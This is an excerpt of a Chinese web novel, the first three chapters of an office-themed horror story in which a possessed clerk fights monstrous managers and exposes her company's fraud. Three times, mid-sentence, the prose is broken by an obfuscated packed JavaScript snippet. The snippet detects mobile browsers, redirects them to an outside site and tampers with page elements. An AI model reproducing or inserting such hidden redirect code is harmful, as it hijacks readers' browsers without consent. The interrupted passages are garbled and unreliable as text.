《第一诡异不可能是兼职的[无限]》 1. 下不了班的公司 突如其来的灯光刺透了眼睑,林黎闻着浓郁的铁锈味,撕开黏在一起的干涩眼皮,眯着眼睛飞快眨了几下。 她正坐在一个拥挤的工位上,桌面上落满了灰尘,杂七杂八的文件纸页凌乱地堆叠着。最显眼的是靠桌角那摞,几乎有半人高。 熟悉的陈设让林黎感觉到一丝异样,她扭头扫视。 只见狭窄的房间被近十张办公桌挤得满满当当,四面墙壁脏得看不出原本的颜色,表层漆面鼓了不少包,好些已经剥落,露出深灰色的石灰墙体,两个老式吊扇挂在天花板上吱呀呀地旋转着。 即使眼前的办公室像废弃了几十年一样破,林黎也不会认不出来。 可是为什么她会大半夜出现在自己公司办公室?如果没记错的话,今天不是放假吗? 目光越过桌角挡板,林黎发现前面还坐了两个人,看穿着装束,不是熟人。 林黎扫过瑟瑟发抖的背影,心中的异样感越来越强,循着浓郁的铁锈味扭过头,蓦地对上张被撕了一半的脸。 被硬生生撕成两半的尸体正躺在斜后方的工位,鲜血从工位中心向四周飞溅,被纵向撕裂的尸体一半挂在椅背上,一半则像粗面条一样蜷曲在地上,两者之间落满了人类内脏。 林黎同失去光泽的黑色瞳孔四目相对几秒,安静地挪开了眼睛。 omg,幸好下周不是她值日。 突然,她的右手不受控制地动了起来,从裤袋里掏出手机。林黎看着黑屏上一闪而过的陌生男人面孔,以及水果最新款手机陷入了沉思。 这既不是她美丽的身体,也不是她用了十年的破手机。 而且正在打字的手哆嗦幅度之大,几乎要让她以为这个身体的癫痫犯了。 【请问,您是邪神吗?】 林黎愣了下,因为过分优越的外表,她有被误认为过某个明星,但邪神还是头一回。 从眼下的情况看,她明显正附身在这个人身上,如果调换处境,自己大概也以为会是被什么脏东西上身了。 林黎垂眸思忖,尝试动了动左手手指,发现能动后,不太熟练地按键回答。 【没错,V我5000看看诚意。】 右手手指僵了下,接着迅速打下一行字。 【只要您能把我从诡域里救出去,信徒愿意奉上5万,不,5百万都行!】 林黎倒吸口气,好一只人傻钱多的肥羊。 她平复了下心情,看着“诡域”若有所思,虽然一直诅咒破公司早晚倒闭,但没想到会以这种形式实现。 哒,哒…… 突然,走廊远处传来高跟敲击地面的声响,室内三人都如遭雷击似的浑身一颤。 被迫跟着身体一颤的林黎:…… 哒哒声不疾不徐地拉近,诡异似乎知道他们害怕,故意放缓了走入办公室的速度,好让恐惧有更多时间酝酿升级。 脚步声越来越近了,最后贴着办公室的门戛然而止。 三人又是一抖,弄得林黎也紧张起来,不由得紧盯大门。 吱呀,随着房间门打来,石膏般惨白的面孔出现在视野中,满是恶意的目光扫过室内三人,如血般鲜艳的红唇微微勾起。 林黎:…… 果然很恐怖,她的领导正气势汹汹地朝这里走过来! 林黎下意识想,自己干了什么吗?也就是下班前摸了7小时鱼,喝了半桶水,上了10次厕所而已,用得着这么生气吗? 不对,身体不是她的,那没事了。 前排两人见诡异直接略过自己,径直朝后走去,明白这是又过了一关,心里都松了口气。 眼镜男脸上露出丝嘲讽,暗想就算有钱人又怎么样,在诡域里,不会动脑子的蠢货就得死。 另一边的学生妹则有些不忍地垂下头,然而除此之外,脸上也有躲过一劫的庆幸。 死道友不死贫道的道理大家都懂。 然而,预想中的惨叫没传来,室内先响起了怯怯的声音。 “郑姐?” 眼镜男和学生妹都是一愣,这家伙刚才明明还怕得要死,现在竟然敢叫这么亲密?两人既想看看怎么回事,又不敢回头,一时抓心挠肝,只能拼命竖起耳朵偷听。 林黎发现肥羊的意识开始装死后,自己能完全掌控身体了。 她站起来,怯弱地望着领导,眸色在昏黄的灯光下流转过一圈微浅的蜜色,显得无辜又乖巧。 “叫得再亲切也没用。”郑姐压根不买账,鲜红的唇角一勾,眼睛里满是蠢蠢欲动的恶毒。 “自己看看时间,都过了多久了?连电脑都没打开!就是因为有你们这种只会在上班时间摸鱼的蛀虫,公司才会亏损!” 这话让林·资深鱼民·黎很不赞同。 什么摸鱼,那叫战略调整!干完活浅浅摸一下补充元气很正常好吗? 更何况注册资金千万的公司就因为每个月付了她1千块就亏损了,这听起来合理吗? 咄咄逼人的质问没有让林黎退缩,她露出标准的职业微笑,眼尾微微下垂,显得有些困惑,反问的话听上去满满的真诚。 “但是我记得公司上班时间是早八晚五啊?” 林黎说完后眼尾还自然地冲漆黑的窗外一挑,示意眼下午夜明显不在正常的工作时间内。 对面用错了粉底色号的领导眯起眼死死盯着她。猎物能在这么短时间内摸清公司的确切作息,有些出乎它的意料,但肉都到了嘴边没道理松口。 “交代的报表都录完了吗?数据都审核好了吗?账目都算清楚了吗?完不成加点班不正常吗?公司聘你是来解决问题,不是养着吃闲饭!现在的年轻人真是太好吃懒做了。” 她所谓的加“一点”难道指的是从下班5点加到第二天凌晨? 林黎再一瞥桌边半人高的文件。 堆积如山的报表明显不是一天能完成的量,不合理的工作量再规定一个极短的完成时限,简直就是路灯资本家剥削员工的惯用伎俩。 林黎抿紧嘴,想到公司已经变成了诡域,眼前的女人明显也成了诡异。众所周知,打诡异不犯法,那她还有必要受窝囊气吗? 随着林黎嘴角的弧度下垂,脸上温和乖巧的表情如雪般融化,取而代之的是毫无人气的冰冷,仿佛一尊揭去了鲜活面具的雕塑。 郑姐触到无机质般的黑眸,竟然像人类一样打了个寒颤,莫名觉得自己像某件正待分类的垃圾,而且是很可能会被分到有害且无回收价值的那边。 它用力咬着牙,压下心头莫名升腾起的畏惧。 “加班时间也是上班时间,敢违背员工规章制度的都是坏员工,你被开除了!” 所谓的开除明显指的是开除人籍,因为郑姐已经扬起手,血红的指甲尖锐如刀,飞速抓向林黎的脖子。 眼镜男和学生妹不敢多看一眼,背对他们,低垂着头,只恨不能捂住耳朵。 他们等待着熟悉的尖叫响起,等待着同伴死亡后留给自己的喘息时间。殊不知郑姐那头正惊疑地望着落空的手。 它的攻击竟然被人类躲过去了,这怎么可能? 不等细想,一道阴影劈头盖脸地逼近。它侧过头,椅子坐面在眼前迅速放大。郑姐瞪大眼睛,瞳孔紧缩。 随着椅子阴影笼罩上来的还有种原始的恐惧。 逃!必须逃! 但身体仿佛被某种力量桎梏,它被迫杵在原地,任是用尽全力,咬碎牙齿,面孔狰狞得扭曲都无法摆脱束缚,也无法发出一点声音。 砰!是躯体撞在另一边工位上的声音。紧接着又是重重的几下砰砰砰,一击比一击重,声声入骨入肉。 郑姐眼睁睁看着椅子一遍遍抬起又落下,覆盖在身上的影子像虫般蠕动着,顺着眼睛、耳朵、鼻孔钻入体内,脑子里立时像插进了把电锯胡乱搅弄,灵魂尖叫,精神被彻底粉碎。 倒下的女人躯体开始产生异变,人类的肢体上长出怪异的粘液和肉粒,接着像浸入浓硫酸似的开始融化,最后化成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997415|178246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一滩人形血水。 林黎没觉得不对劲,毕竟杀诡异她也是第一次。她身心舒畅地直起腰,扔掉手上的椅子。 太过瘾了~ 突然,一股灼热的视线落到身上。 林黎侧过头,室内唯一一扇窗户就在身旁,但奇怪的是,它被封条封了起来。 接着她的瞳孔骤然紧缩。在灰蒙蒙的窗玻璃上,自己的面孔下竟然还交叠着另一张脸。 半边被封条切去,剩下半边的瞳孔漆黑硕大,挤得眼白几乎只剩一条细边,贪婪阴毒的目光像水蛭一般黏在她身上。 鬼脸很快消失在了夜色中,玻璃上只留下了林黎的面孔,仿佛刚才的画面只是错觉。 林黎若有所思的目光瞥向封条。 狭长的纸条随意地粘在玻璃上,纸边泛黄蜷曲,还沾了许多油腻腻的指印,看起来曾经有人很多次试图撕下它,但最终没能成功。 上面印刷的宋体字已经褪色发白,只有顶上那个最大的“封”字依然血红得刺目 底下竖排小字已然模糊不清,只能勉强分辨出几个字。 ……抵押……法院…… 林黎转开目光,心想这梦也太长了,最重要的是,下班时间还留在公司,会有种假期加班的惊悚感。 忽然,裤袋里嗡地震动了下。 林黎下意识摸出手机,亮起的屏幕上挂着一条通知,来自一个名叫诡域直聘的app 【检测到您已异地登陆。】 对上林黎的面孔,手机刷地秒开,直接进入了app界面。 纯白的屏幕上有个加载提示,穿着彩色小丑服的小人蹦蹦跳跳往前走,然后被看不见的东西吃掉脑袋、胳膊、身体和腿,接着再次出现,依次循环。 什么垃圾应用,肥羊的品味好差。 刚这么想,白色屏幕上加载提示消失,跳出一行黑字,app信息已对人类陈宥屏蔽。 陈宥?难道指的是肥羊? 接着界面跳转到了简历,一张小女孩的照片跃入眼帘。像素很低,全是粗糙的颗粒。 画面更像是从某张集体照上截下来的,左右露着两边人的胳膊手,上面是一排腿,正中央迷你版的林黎正面无表情地望着外面。 配上黑白色,阴森得就算放到灵堂也不违和。 林黎:…… 倒不是app故意挑了这么一张,而是这是林黎唯一一张照片。 旁边是她的生平履历,字数不少,就是“口”字太密。 特别是最上面一大段密密麻麻的“口”,甚至还用了一排省略号省略。接着另起一段才是她小时候的经历,从流浪,被收养,再流落街头,成长打零工,一直到眼下这份工作,详细的描述穿插在无数“口”字间。 林黎顾不得吐槽自己的经历是有多见不得人,目光在上面飞快掠过,眼睑垂下,无光的眸子深得可怕。 从可阅读的部分看,这些全都是她真实的经历。 接着app自动跳转到下个界面。 【检测到当前处于工作地点:下不了班的公司】 林黎浑身一震,好恐怖的公司! 【职员背景:您是一名被拖欠薪资达半年之久的可怜文员,然而勤劳的您在假期仍然渴望工作。】 渴望个大头鬼!除了她确实被拖欠工资外,没有一项切实描述。 【已为您搜寻到适合的临时岗位:接待员】 【工作内容:展示公司热情好客的企业文化,让客人宾至如归!】 【完成报酬:0.01-10000000随机红包以及新人惊喜奖励】 林黎直接略过了无数个零,按照以往经验,这就是个1分钱红包,至于惊喜奖励暂时不清楚。 她飞快分析眼下的情况,自己莫名其妙地附身到了别人身上,持续时间暂不清楚,但契机也许就是这个诡域直聘app提出的工作。 按常理来说,工作结束就能下班。想到这里,林黎果断按下了接取按钮。 2. 下不了班的公司 “……郑姐呢?” 眼镜男和学生妹一直不敢回头看,直到现在离暴力的抨击声消失好一会了,久久不见郑姐离开房间,他们才终于壮着胆偷偷瞄了眼。 只一眼,一股凉意顺着脊椎骨窜上头皮。 本该变成散装内脏的年轻男人安然无恙,而女人则不见踪影,地上还多了滩可疑的人形血泊,合理推测这很可能就是郑姐最后的遗留物了。 林黎瞥向两人,眼镜男西装革履,一副金融精英人士的模样。学生妹则穿着短裙制服,上衫有些皱,领口被汗水浸湿了一大片。 林黎一眼就认出这是江城某所私立学校的校服,此校的天价学费曾让她道心崩毁,并从此开始积极支持消除社会贫富差距的事业。 面对两道狐疑的视线,林黎慢慢转过身,从阴影中露出面孔,眼尾下垂,双唇紧抿,棕色瞳孔在昏黄的灯光下微微扩大,显然是被吓得说不出话了。 “她……她……她刚才正要动手,然后窗户上突然出现了一张鬼脸,接着……接着她就被凭空飞起的椅子打飞了,变成了那样……” 林黎结结巴巴地说,伸出手指,颤抖地指了指血泊,然后像怕被咬到似的飞快地收了回去。 那把罪魁祸首的攻击武器,椅子正好砸进了第一个倒霉蛋的内脏堆,画面看上去惨烈得让人不敢直视。 眼镜男飞快地瞥了眼,而学生妹根本不敢把眼睛挪向那处。 “同一个诡域内的诡怪竟然也会互相残杀?” 鬼怪世界遵奉弱肉强食,同一诡域内往往阶级分明,这就意味着诡怪间相互残杀的事很少会出现。 眼镜男皱眉垂眸,起先怀疑林黎携带了某种珍贵的攻击道具,毕竟陈宥上下一水的名牌,看起来就像保护区来的公子哥。 他早前听说过保护区的富人间现在流行一种新的猎杀游戏。他们会携带大量杀伤性的道具进入诡域,围猎一同误入的人类取乐。 这个看起来懦弱胆小的年轻男人会是装的吗?不可能,眼镜男下意识推翻了这种猜测。 因为没有人能装得这么像,连瞳孔扩散和收缩的幅度都能操纵得这么精准,要真是装的,只能说这人会比鬼怪更恐怖。 “没有了导引的……人,我们该怎么通关?”学生妹怯怯地问。 每个诡域似乎都有一套特定的规则,里面的鬼怪会绝对遵循规则行事。而导引者就是起着介绍基本规则作用的诡怪。 “只能静观其变了。”眼镜男冷静地说,“一个导引者没了,也许会产生一个新的替补。” 林黎:这倒没错,那个被迫加班的倒霉鬼就是她 工作描述简短,关键词显然就是热情好客,宾至如归。 她瞥了眼满地内脏。 确实热情,热血青年肝脑涂地,也确实如归,都直接住下了。 四张求生者的桌子很显眼,上面都堆了一摞半人高的文件。 林黎随手翻了翻最上面几份,突然目光微凝,然后又迅速往后翻了几页,垂下的脸上面色不明。 她的异常吸引了另外两人。 “你发现了什么?”眼镜男问。 林黎轻轻抿着唇,抬起的眼睛里闪动着恰到好处的犹豫,像是发现了什么,但又不是很确定。 “没关系,先说说看?” 眼镜男已经很自然地把自己放到了三人中的领导位置,对林黎的口气听起来像极了上级鼓励下级发言,居高临下的优越感根本掩饰不住。 林黎要的就是这个效果。 “每个项目的文件好像都不完整。” 她的目光隐晦地落在其他三张桌上,不着痕迹地引导两人。 精明的眼镜男率先明白过来,当即大步走向学生妹的桌子翻了翻,然后又在自己的桌上翻了几份。放在一起比对后,脸上的神色越发肯定。 “怎,怎么了?”学生妹社会经验略少,还没有意识到其中的问题。 “账目对不上,”眼镜男把同一个项目的文件从四摞里挑出来合在一起,“你看这里明明收入有五百万,但最后报税的却只有两百万,中间少了整整三百万。” 林黎配合着露出恍然大悟的神色,“难怪它们要分给四个人录入,我们只会确保自己录的数据正确,很少会去关注其他人的,被发现的可能性也就低了不少。” 其实林黎从翻到残缺的那份就知道了,因为恒爱酒店婚庆项目就在不久前录入过,归档人自然就是她。 林黎从小就有超越常人的记忆力,只要见过一次,就绝对不会忘记。 她当时拿到的文件是完整的,前后数据也完全没问题,所以刚才乍一眼就发现了异常,再往后翻,文件缺失正好印证了猜想。 百分之九十的可能,诡域里的公司文件才是真实的。 林黎瞬间联想到了封条上的字迹,再结合狗老板的德性,要说他公款私用,想想还真有可能。 难道这就是狗东西借口亏钱,然后欠她半年工资不发的真相吗! “可是这跟我们有什么关系呢?”学生妹不解地问,“按照导引者之前的意思,我们只要在天亮前把文件都录入好就行了呀?” “那也太多了点吧?” 林黎苦恼的嘀咕一下子点醒了眼镜男。 他本来就是搞金融的,对数据敏锐度不低,林黎状似无意的吐槽让他明白过来,“录不完的。” “为什么!”学生妹忍不住叫起来。 因为这个还算明确的目标是她能在诡域里坚持到现在不崩溃的原因。然而这个支柱却被眼镜男打碎了。 “数据有问题,就算我们几个不知道,但都上传系统后还是会暴露。所以公司一开始的目的应该就是不想让我们录完。最好的证据就是每个人分到的初始文件太多了,明显不是一天的工作量,更何况……” 眼镜男声音顿了下,目光似乎下意识往死掉的倒霉蛋那边挪了挪,但很快畏惧地收了回来。 “更何况郑姐一直在借口削减我们的人数,最后分摊到剩下人头上的文件只会更多。这是个不可能完成的限时任务。” “而且,她从来没有明确说过任务是录完数据。” 学生妹如遭雷击,脸色刷地变得惨白,嘴唇颤抖,好久发不出一个音。 “我,我们接下来该怎么办?”学生妹轻声哽咽地问,失去任务目标的同时也让她失去了主心骨。 林黎已经想明白了,但直接说出来不符合愚蠢少爷的人设,而且也不符合任务要求。 她的身份是公司职员,跟外来客的立场天然对立,正确的做法应该是像郑姐一样不断误导他们,最后达到“如归”的目标。 但自从知道欠薪真相后,林黎对这个公司的好感已经从-100降到了-10000 欠薪之仇,不共戴天。 转念间,林黎已经有了主意。 她跟着学生妹一起露出害怕忧心的样子,等着眼镜男做决策。 “一定有哪里我们还没想到,”眼镜男紧皱眉头咬牙说。 突然,一声短促的尖叫响起。 学生妹也知道尖锐叫声在诡域里是大忌,她一手紧紧捂住嘴巴,满脸惊恐地示意另外两人看门口。 不知道什么时候,黑暗的走廊上竟然多了个人影,又高又瘦,像棵干枯的老树,只有一双眼睛闪着不怀好意的光亮。 这人来得悄无声息,不知道在那里盯了他们多久了。 他见三人望过来,往前走了一步,站到昏黄的灯光下。满脸褶皱,眼窝深陷,颧骨异常凸显,仿佛只有一张皱巴巴的皮直接裹在了骨架上。 老头的目光在郑姐留下的血泊上顿了顿,接着也不拐弯抹角,直接说道,“各位初来乍到辛苦了,老板想见见几位,一对一。” 沙哑的声音搭配阴森森目光,学生妹的轻轻呜咽从指缝间挤出来。 她有些湿润的眼睛望向另两人,头摇得飞快。 在诡域里落单绝对是大忌,更何况老板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997416|178246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一听就是这里的大boss。别说一对一,就是三对一,他们也绝对死定了。 眼镜男若有所思的目光从窗户的封条上挪开,眼睛里闪过抹精光,明显是想到了什么,但他不打算说出来。 如果没猜错的话,这个诡域很可能是罕见的自由阵营类,简单地说就是人类能够自由选择阵营! 他已经知道了通关方法,但这个方法恐怕只有一个人能活下来。 “好的,稍等。” 眼镜男转头对林黎和学生妹小声安慰,“对方不是问句,如果我们贸然拒绝的话很有可能触犯规则。不用太害怕,要是大boss想杀我们的话根本不用这么麻烦,应该只是固定的剧情线。到时候我们出来再汇总一下得到的线索,没准就能找出逃生的办法了。” 学生妹虽然已经害怕得瑟瑟发抖,但还是含着眼泪点了点头。林黎皱着眉点头,但眼睛眨得飞快,显然心底也是不情不愿。 这两人明显还没有想通这个房间里线索的关键。 眼镜男满意地收回目光,率先迈开步子朝老头走去。 一个柔弱无主的女学生,一个胆小怕事的蠢少爷。 他的存活率几乎是百分百,不对,是绝对百分百! 三楼房间围绕着中央的方形电梯井排布。 老板的办公室正好在原先房间的斜对角,当然,这里会大许多,面积几乎是那间小办公室的三倍有余。 透过紧闭的双扇玻璃门,宽敞的房间里灯光昏暗,一个两米来高的玉山摆件将探索的视线挡得严严实实。 房间里面一片寂静。 眼镜男说要给他们打探情况,自请第一个进去面谈,把学生妹感动得眼泪哗哗。 现在已经半个钟头有余,还不见什么动静,不禁让人忧心。 当然忧心的人并不包括林黎。 她看出眼镜男已经发现线索暗示,估计也猜到了求生者真实的身份。 什么大义凛然身先士卒,完全就是怕被其他人捷足先登,毕竟二五仔只需要一个嘛。 没错,求生者在诡域里的身份其实根本不是什么新入职的员工,一切不过是在郑姐刻意的语言误导下产生的思维偏差。 杀戮恐吓,再加上诡域中不能按照平常思维逻辑思考,所以他们一开始才没有反应过来。 其实仔细捋一遍,哪个员工入职前不先签合同啊?林黎刚才迅速扫了一遍,没有在桌面上发现类似合同的文件,这是第一个暗示。 接着窗户上的封条明确跟他们说明了,公司债务问题已经暴雷。那么在公司已被查封的情况下,还有什么必要录入报表? 小山高的文件相比起让他们报录,其实更像是在隐藏某些关键东西,比如有问题的账目。如果不是林黎过目不忘,隐晦地点了出来,这两人估计不知道还要被误导多久。 综合这些线索可以合理推导出,四人的真实身份最有可能是相关部门派来核查破产清算的。 那么相应的通关方法也就从录报表转为了找出问题账目,封存好证据并带回。 但这意味着求生者要与诡怪直接对抗,风险太高。想要确保更高的存活率,最好的办法就是让boss放行。 什么情况下老板会放已经发现证据的公职人员活着离开? 答案是,被贿赂的二五仔。可惜这样的人有且只需要一个。 “眼镜哥进去好久了,他会不会已经……” 学生妹畏惧地望了眼漆黑幽深的长廊,紧挨着林黎。 两人坐在走廊长凳上,廉价的人造皮表层已经龟裂,暗红色的棉絮从破口向外翻出。 “你在干什么?” 学生妹不解地望着林黎,对方从刚才起就一直在很专注地摆弄手机。 从一开始对手机不怎么熟悉,到这会已经摁键如飞。 但诡域里没有信号,手机除了照明和拍照外就没什么用了。 “日行一善。” 林黎朝她露齿一笑。 3. 下不了班的公司 林黎温和的笑容被自下而上的手机屏光烘托得有些阴森。 学生妹吓得身体往远离林黎的方向挪了挪,下秒意识到这是同伴,又小心翼翼地挪了回来。 “等等,你,你怎么会有网?”学生妹愣了下问。 “当然是登陆公司Wi-Fi啊。” 林黎摁灭手机屏幕,语气自然,好像这是件再正常不过的事。 对方的口气太理所当然,连带着学生妹也开始怀疑是不是自己太大惊小怪了。 但她忽略了一个盲点,那就是Wi-Fi密码。 一般公司为了保证安全性,网络不会对外开放,登陆账号密码都会绑定员工工号。 林黎刚才试了下,发现自己的员工账号还能登。 “好浓的烟味,”学生妹捂住鼻子,咳嗽了几声。 从刚才起就有股越来越浓的烟味在不断从走廊另一头飘过来,这会已经到了有些呛鼻的程度。 林黎若有所思地瞥了眼烟雾飘来的方向。 学生妹以为沉默的林黎跟自己一样害怕,找到了抱团对象,顿时恢复了点勇气,“眼镜哥这么厉害,一定能带我们找到通关方法的!” 林黎抿起双唇,侧过头时呼吸变得急促起来,眼中是浓浓的担忧。 “其实……” 林黎简单讲了自己推理出来的真相,接着眉毛紧蹙,支支吾吾地说出了眼镜男打算接受老板贿赂独自通关的可能。 “他……他怎么能这样!”身陷诡域,又被同伴背刺,学生妹的精神已经快崩溃了。 林黎看气氛烘托得差不多了,接着小声说,“其实他不一定能谈成。” “刚才的老头领我们过来后就离开了,一定是趁人不在回去把问题文件全都烧掉了。” 没有了证据,就没有了最后要挟boss的手段,也就没了做二五仔的价值。 “但我们也没有证据了。”学生妹喃喃道,眼里失去了光彩。 “不,”林黎压低声音说,“我刚才顺手拍了几张。” 学生妹眼睛里顿时升腾起了希冀,一如最开始的陈宥望向他们的目光。 “眼镜男没有证据就失去了要挟老板谈条件的资格,但……” 但选择了阵营就没法改变。两方阵营的立场对立,通关目标自然也不一样。一方要给老板脱罪,另一方则是坐实罪名。 然而学生妹此时已经被柳暗花明的惊喜淹没,完全没耐心听完林黎的话。 “没错,”学生妹的呼吸越来越急促,眼睛里的光越来越亮,“我们有证据,可以跟老板谈。” 林黎闻言挑了下眉,把到了嘴边的话咽了回去。 有机会但不犯错和没机会犯错,这两种人有本质上的区别。所以,学生妹会是哪种? 她不蠢,很快就会明白过来,接受贿赂的方法难说不是只能保一个人通关。 二五仔只需要一个,那么她会怎么做? 学生妹微微低头,眼睛里闪动着恐惧害怕,最后被下定决心的坚定取代,晦暗不明的目光落到林黎裤袋上,那里正露着手机的一角。 “谢谢你告诉我这些!”学生妹抬起头望着林黎,感激地说,“我们一定都能平安出去。” 话音刚落,玻璃门发出嘎吱一声,是眼镜男终于出来了。他满脸掩饰不住的志得意满,显然事情都在朝着自己希望的方向推进。 然而一出来,浓郁的烟味终于让他想起了留证的重要性。 眼镜男面色刷地一变,往小办公室匆忙跑去。 看到这一幕的学生妹终于彻底相信,眼镜男确实早就知道真相,也更加坚定了自己的决定。 “下一个能让我先进去吗?”她眼睛通红,像只受到了惊吓的兔子,柔弱得让人心生怜悯。 “当然。” 林黎果然没有怀疑,声音温和,情真意切的关心让学生妹咬紧了下唇,眼睛里有一瞬间的动摇,但最终还是被活下去的渴望压制。 林黎面无异色,随口道,“进去后记得问什么都说不知道,我有办法让我们俩都安全出去!” 学生妹嘴上应是,咬着唇深深望了林黎一眼,转身推门进入。 “文件都被烧了。” 眼镜男失魂落魄地回来,嘴唇颤抖,镜片玻璃后面的瞳孔不住颤动。 他此时已经维持不住精英形象,汗水浸湿了衣领,有些凌乱的头发沾了灰,额头、鼻子和鬓角湿得仿佛刚洗过,连腕上的名表似乎都失去了光泽。 “它明明刚才就知道……”眼镜男转过头,发现身边的年轻男人正插着裤袋摸索。 “你在干什么?” “没什么,”林黎皱了下眉,露出一副苦恼的神色,“我的手机好像丢了。” 这种时候竟然还有心情玩手机? 眼镜男已经将林黎视为必死之人,懒得理睬他,在走廊上焦躁不安地走来走去,神经质地咬着指甲。 林黎抱着手臂,侧头望向玻璃门,里面那盆玉山的颜色看起来似乎红了点,透着种肉类的粉嫩。 如果眼镜男不是一心想走捷径,求生者合力藏好证据文件,一起熬到救援,也许他们还能有机会活命。 至于学生妹。 林黎刚才给了她两条路,一条装什么都不知道,跟林黎共进退,另一条则是抢在她之前跟老板达成贿赂交易保自己活命。 可惜对方最终选了第二条。 “我们都要死了……” 眼镜男面如死灰,声音沙哑。 “其实……” 林黎面露难色地把自己拍了照但手机丢了的事告诉眼镜男。 “一定是那个小贱人拿了!”眼镜男此时的精神已经有些不稳定,握拳恶狠狠地猛锤墙壁。 他的十指都已经血肉模糊,有些甚至都被啃掉了指尖,但眼镜男像是感觉不到疼一样。 “只要抢到手机,没错,只要我还有证据,就不会有事。”他呼吸急促地自言自语道,一双充血的眼睛死死盯着玻璃门。 等学生妹忐忑地推门出来,就直接对上了这双布满血丝的眼睛。 “你……” “手机在哪?” 学生妹被疯癫的眼镜男吓得尖叫,求助的目光投向林黎。 “我跟老板说了我们是一起的!不管谁提都一样,不是吗?”学生妹接触到林黎似笑非笑的目光,赶忙解释道。 “他答应我,说会让我们一起出去!” 她被眼镜男死死掐住脖子提了起来,“救……救救我……他疯了……” “在哪,在哪,在哪……” 眼镜男魔怔了似的不断重复,掐脖子的手握得越来越紧。 “她没有。” 林黎的声音仿若天籁,将学生妹从濒死的窒息中解救了出来。 “在哪,在哪……”眼睛男丢下学生妹转向林黎。 学生妹趁机连滚带爬地远离眼镜男,投向林黎的目光更加复杂了。 她偷了手机,对方竟然还选择保护她。 学生妹想,只要她能活着出去,一定会把对方的父母当作自己的父母一样照顾。她家里有钱,他们想要几百万都行! 眼睛男逼近林黎,昏黄的廊灯下,可以清楚地看见对方的眼眶中竟然多了几颗瞳孔,像蜂巢一样黏在一起组成虫类复眼般的结构。 林黎望着他的目光不变,仿佛没觉得对方有什么不对劲。 “在你这……”眼镜男好像已经没办法正常思考了,说话时喉咙里还发出沉闷的咕嘟声。 林黎勾起嘴角,明明是跟之前同样的微笑,却让学生妹感到后背一阵冰凉。 “我的意思是,照片不在手机里。” “你没有拍?”学生妹瞪圆眼睛,几乎尖叫了出来,“你骗了我?!” “我拍了,”林黎耐心地解释,“但在发给相关部门举报后就删掉了,所以手机里没有。” “你删掉了……”学生妹不敢置信地说。 但她转念一想,既然这里能联系到诡域里的相关部门,那么是不是意味着他们都能被救出去? 可选择了犯罪阵营的二五仔还能被另一个阵营的承认吗? 玻璃门将绝望的学生妹和疯癫的眼镜男阻隔在外。 林黎瞅了眼已经变成鲜红色的玉山,里面的玉纹变得又细又密,像极了成型的毛细血管。 仔细看,表面似乎还在像呼吸般微微起伏着。 林黎绕过摆件继续往室内走去。宽敞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997417|178246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的房间铺着厚重的红地毯,尽头摆着一张沉重的办公桌,后面坐着个异常肥胖的人影,几乎有她三个那么宽。 显然,老板也跟郑姐一样诡异化了。 “你要拿什么罪证要挟我?”老板掀开厚实的嘴唇,肥肥的舌头舔了舔鲨鱼一样的尖牙,挤成一条缝隙的眼睛阴阴地盯着对面,“文件?举报?手机拍照?” 林黎走到桌前,瞥了眼供来访者坐的椅子,没有坐下,而是抓起椅背掂了掂。 “威胁你还用得着证据?”林黎提起椅子说。 一番友好的物理沟通后,老板鼻青脸肿地坐回桌前,在打印出来的公司转让协议上签字按手纹。 “一个破产公司你拿了有什么用?” 因为要完成“宾至如归”的绩效指标。 林黎附身的这个男人也是求生者之一,作为公司继承者,可不就像在自己家了嘛。 这样app就不能不判她达标。 林黎不理睬老板,熟练地报出一个账号。 老板闻言虎躯一震,“你怎么会知道……” “知道你转移资产的账户?”林黎哼笑了声,“现在按照我说的做,把欠员工林黎的半年工资转给她。” “林黎?你认识那个废物打工仔?” “少废话。然后剩下的全部捐给孤儿院。” “全部?!” 后脑勺被卸下的椅子腿抵着,老板心如刀绞但也只能咬牙切齿地转账。 “哪个孤儿院?” “任何一个,任何几个都行。” “我已经按照你说的做了。”老板侧过头,脸上横肉被气得一抖一抖,“现在可以松开了吧?” “当然。”林黎扯了扯嘴角,露出真诚的微笑。 椅子腿从后贯穿了老板的脑门,将他的头往前订在了办公桌上。 林黎满意地看了眼显示转账成功的界面,绕过办公桌往门外走去,然而在经过玉山时变故陡生。 感觉到脚底的颤动,林黎垂头望去,发现红地毯里的丝竟然像虫子一样蠕动起来。 紧接着身体被血管样的触手牢牢捆住。 无数这样的管子从玉山里面钻出来,往林黎身上缠去。 此时它的颜色已经呈现出血般的暗红色。 “欺人太甚!” 老板沉闷愤怒的声音从里传来,两米高的玉石如蜡一样融化,凝聚成一个肥胖的身影。 